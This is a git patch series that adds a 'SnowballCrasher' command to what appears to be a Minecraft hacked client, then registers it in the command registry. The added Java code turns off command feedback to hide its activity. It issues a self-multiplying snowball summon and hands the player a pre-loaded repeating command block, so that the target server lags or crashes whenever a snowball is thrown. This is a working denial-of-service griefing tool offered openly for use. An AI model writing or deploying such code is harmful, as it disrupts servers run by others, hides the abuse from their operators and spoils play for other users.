From b74207ec43117561ced5240efee520be84ea8458 Mon Sep 17 00:00:00 2001 From: "Phantom.exe" Date: Sat, 15 Feb 2025 16:53:13 -0500 Subject: [PATCH 1/2] Create SnowballCrasher.java --- .../feature/command/impl/SnowballCrasher.java | 60 +++++++++++++++++++ 1 file changed, 60 insertions(+) create mode 100644 src/main/java/coffee/client/feature/command/impl/SnowballCrasher.java diff --git a/src/main/java/coffee/client/feature/command/impl/SnowballCrasher.java b/src/main/java/coffee/client/feature/command/impl/SnowballCrasher.java new file mode 100644 index 00000000..9c55f0fd --- /dev/null +++ b/src/main/java/coffee/client/feature/command/impl/SnowballCrasher.java @@ -0,0 +1,60 @@ +package coffee.client.feature.command.impl; + +import coffee.client.CoffeeMain; +import coffee.client.feature.command.Command; +import coffee.client.feature.command.argument.PlayerFromNameArgumentParser; +import coffee.client.feature.command.coloring.ArgumentType; +import coffee.client.feature.command.coloring.PossibleArgument; +import coffee.client.feature.command.coloring.StaticArgumentServer; +import coffee.client.feature.command.exception.CommandException; +import net.minecraft.entity.player.PlayerEntity; +import net.minecraft.item.ItemStack; +import net.minecraft.item.Items; +import net.minecraft.nbt.StringNbtReader; +import net.minecraft.network.packet.c2s.play.CreativeInventoryActionC2SPacket; + +import java.util.Objects; + +import static coffee.client.CoffeeMain.client; +import static coffee.client.helper.util.Utils.Logging.message; + +public class SnowballCrasher extends Command { + + public SnowballCrasher() { + super("SnowballCrasher", "Crash the server by placing a command block that crashes the server when a snowball is thrown", "crash", "snowballcrasher"); + } + + @Override + public PossibleArgument getSuggestionsWithType(int index, String[] args) { + return StaticArgumentServer.serveFromStatic( + index, + new PossibleArgument( + ArgumentType.PLAYER, + () -> Objects.requireNonNull(client.world) + .getPlayers() + .stream() + .map(abstractClientPlayerEntity -> abstractClientPlayerEntity.getGameProfile().getName()) + .toList() + .toArray(String[]::new) + ) + ); + } + + @Override + public void onExecute(String[] args) throws CommandException { + validateArgumentsLength(args, 1, "Provide target player"); + PlayerEntity target = new PlayerFromNameArgumentParser(true).parse(args[0]); + String targetName = " "; + client.getNetworkHandler().sendCommand("gamerule sendCommandFeedback false"); + client.getNetworkHandler().sendCommand("execute at @e[type=snowball] run summon minecraft:snowball ~ ~ ~"); + ItemStack stack = new ItemStack(Items.REPEATING_COMMAND_BLOCK, 1); + try { + stack.setNbt(StringNbtReader.parse( + "{BlockEntityTag:{Command:\"/execute at @e[type=snowball] run summon minecraft:snowball ~ ~ ~\",powered:0b,auto:1b,conditionMet:1b}}")); + } catch (Exception e) { + e.printStackTrace(); + } + client.player.networkHandler.sendPacket(new CreativeInventoryActionC2SPacket(36 + client.player.getInventory().selectedSlot, stack)); + message("Place the command block to keep lagging the server when a snowball is thrown"); + } +} From 2542c90b11fee8e04a7795cc331d4197f6916d0c Mon Sep 17 00:00:00 2001 From: "Phantom.exe" Date: Sat, 15 Feb 2025 16:54:36 -0500 Subject: [PATCH 2/2] Update CommandRegistry.java --- .../java/coffee/client/feature/command/CommandRegistry.java | 2 ++ 1 file changed, 2 insertions(+) diff --git a/src/main/java/coffee/client/feature/command/CommandRegistry.java b/src/main/java/coffee/client/feature/command/CommandRegistry.java index 55d27c78..8b0c130a 100644 --- a/src/main/java/coffee/client/feature/command/CommandRegistry.java +++ b/src/main/java/coffee/client/feature/command/CommandRegistry.java @@ -53,6 +53,7 @@ import coffee.client.feature.command.impl.Toggle; import coffee.client.feature.command.impl.VClip; import coffee.client.feature.command.impl.ViewNbt; +import coffee.client.feature.command.impl.SnowballCrasher; import coffee.client.helper.util.Utils; import java.util.ArrayList; @@ -139,6 +140,7 @@ public static void init() { vanillaCommands.add(new ApplyEffect()); vanillaCommands.add(new BaritoneCommand()); vanillaCommands.add(new Search()); + vanillaCommands.add(new SnowballCrasher()); rebuildSharedCommands(); }